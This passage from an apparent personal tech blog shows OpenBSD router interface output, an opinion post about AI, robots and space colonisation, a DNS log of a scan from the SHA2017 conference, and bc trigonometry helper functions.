            index 1 priority 0 llprio 3
            media: Ethernet autoselect (100baseTX full-duplex)
            status: active
            inet 192.168.78.1 netmask 0xffffff00 broadcast 192.168.78.255
    cnmac1: flags=8843 mtu 1526
            lladdr 24:a4:3c:06:9f:13
            description: eth5 - Telekom VDSL
            index 2 priority 0 llprio 3
            media: Ethernet autoselect (1000baseT full-duplex)
            status: active
            inet 192.168.16.1 netmask 0xffffff00 broadcast 192.168.16.255
    cnmac2: flags=8b43 mtu 1500
            lladdr 24:a4:3c:06:9f:14
            description: eth6 - mercury
            index 3 priority 0 llprio 3
            media: Ethernet autoselect (1000baseT full-duplex)
            status: active
            inet 192.168.70.1 netmask 0xffffff00 broadcast 192.168.70.255
            inet6 fe80::26a4:3cff:fe06:9f14%cnmac2 prefixlen 64 scopeid 0x3
            inet6 2001:db8::121 prefixlen 64
    cnmac3: flags=8b43 mtu 1500
            lladdr 24:a4:3c:06:9f:15
            description: eth7 - venus
            index 4 priority 0 llprio 3
            media: Ethernet autoselect (1000baseT full-duplex)
            status: active
            inet 192.168.42.1 netmask 0xffffff00 broadcast 192.168.42.255
    cnmac4: flags=8843 mtu 1500
            lladdr 24:a4:3c:06:9f:16
            description: eth0 - Access Point to uranus
            index 5 priority 0 llprio 3
            media: Ethernet autoselect (1000baseT full-duplex)
            status: active
            inet 192.168.179.1 netmask 0xffffff00 broadcast 192.168.179.255
            inet6 fe80::26a4:3cff:fe06:9f16%cnmac4 prefixlen 64 scopeid 0x5
            inet6 2001:db8:0:10::111 prefixlen 64
    cnmac5: flags=8843 mtu 1500
            lladdr 24:a4:3c:06:9f:17
            description: eth1 - AREA52U uplink
            index 6 priority 0 llprio 3
            media: Ethernet autoselect (100baseTX full-duplex)
            status: active
            inet 192.168.43.1 netmask 0xffffff00 broadcast 192.168.43.255
    cnmac6: flags=8b43 rdomain 2 mtu 1500
            lladdr 24:a4:3c:06:9f:18
            description: eth2 - AREA52U host from bridge
            index 7 priority 0 llprio 3
            media: Ethernet autoselect (1000baseT full-duplex)
            status: active
    cnmac7: flags=8b43 rdomain 3 mtu 1500
            lladdr 24:a4:3c:06:9f:19
            description: eth3 - AREA52U B.A.T.M.A.N.
            index 8 priority 0 llprio 3
            media: Ethernet autoselect (1000baseT full-duplex)
            status: active
    
    Notice the order between cnmac0 and eth0 differ, hence I have labeled the ports. There also exists some vlan's and bridges that I bridge batman and other stuff together and pass it on to venus or mercury. Cheers!



    Finished the story of Goldflipper

    July 29th, 2017

    Check it out here.



    The private space race

    July 30th, 2017

    Most rich people don't get rich in a vacuum. They employ people to make their money. Well all that is gonna change with artificial intelligence and robots. There might be 10% employees of what they used to employ, in the near future. The rest will be laid off. Those 10% will be high technologists who work on fixing the robots and computer systems. The hard work will be conducted by robots.

    When people are ready to leave earth it will likely be the rich. They'll settle on the moon, they'll settle mars and they'll mine the asteroid belt, with you guessed it, robots. So nothing has changed except that living on mars makes you instantly poor unless you have high technology to help you get the resources that a human being needs.

    What's going to happen to the poor people on earth? We'll be living in ghettos most likely, bunched together in big cities like sardines with promises of being picked in a lottery to go to space. We'll be monitored 24/7 in our 80 square meter apartments and medicated when there is the slightest hint of depression. When people get drift that the rich are using all the resources to get off this planet and leaving us behind there'll be chaos.

    We have to think about whether this is the future we want. Because this is what's happening. We are the people farms. What is a worthwhile pasttime when AI outsmarts us? What is a worthwhile profession when robots outdo us? Do you think we'll all end up playing tennis and bone each other 24/7? Get. Real. I'm majorly pissed off really, not because I don't get to go to the moon, no, because there is no meaningful work that I can persue that isn't already done by a machine.

    A 2 class system will erupt, us and them and it's all lies and trickery. The movies 2001 Space Oddisey and Terminator are not warnings signs, we've already passed them. They are here.



    I tip my hat to SHA2017

    August 06th, 2017

    This morning a hacker scanned my delphinusdnsd server from SHA2017, why?

    Aug  6 05:06:45 chi delphinusdnsd[38628]: on descriptor 11 interface  \
    "78.47.14.22" header from 151.216.93.11 has no question, drop
    Aug  6 05:06:45 chi delphinusdnsd[38628]: question on descriptor 11 \
    interface "78.47.14.22" from 151.216.93.11, did not have question of 1 \
    replying format error
    
    Sorry about the incomplete log. I don't have much traffic so I watch the log. The IP in question is dns for the sha2017.camp. domain.
    ;; QUESTION SECTION:
    ;11.93.216.151.in-addr.arpa.    IN      PTR
    
    ;; AUTHORITY SECTION:
    93.216.151.in-addr.arpa. 600    IN      SOA     ns1.sha2017.camp. \ 
    root.sha2017.camp. 2016121900 10800 3600 604800 3600
    
    Just to let hackers know. I'm not rich. I don't have connections. So you're not exactly a Robin Hood if you're hacking me. SHA2017 conference's home page is found here.



    SOHCAHTOA.bc

    August 7th, 2017

    I have made a helper define, with the help of #openbsd on efnet, on SOHCAHTOA functions. In order to solve this problem, I use the following defines with bc:

    define soh(o, h) {
            return (r2d(as(o/h)))
    }
    
    define cah(a, h) {
            return (r2d(ac(a/h)))
    }
    
    define toa(o, a) {
            return (r2d(a(o/a)))
    }
    
    define as(x) {
           return a(x / sqrt(1 - x^2))
    }
    
    define ac(x) {
            return a(sqrt(1 - x^2) / x)
    }
    
    define r2d(x) {
            return (x * 180/(4 * a(1)))
    }
    
    define d2r(x) {
            return (x * ((2 * a(2^10000)) / 180))
    }
    
    So then...I calculate:
    beta$ bc -l sohcahtoa.bc
    t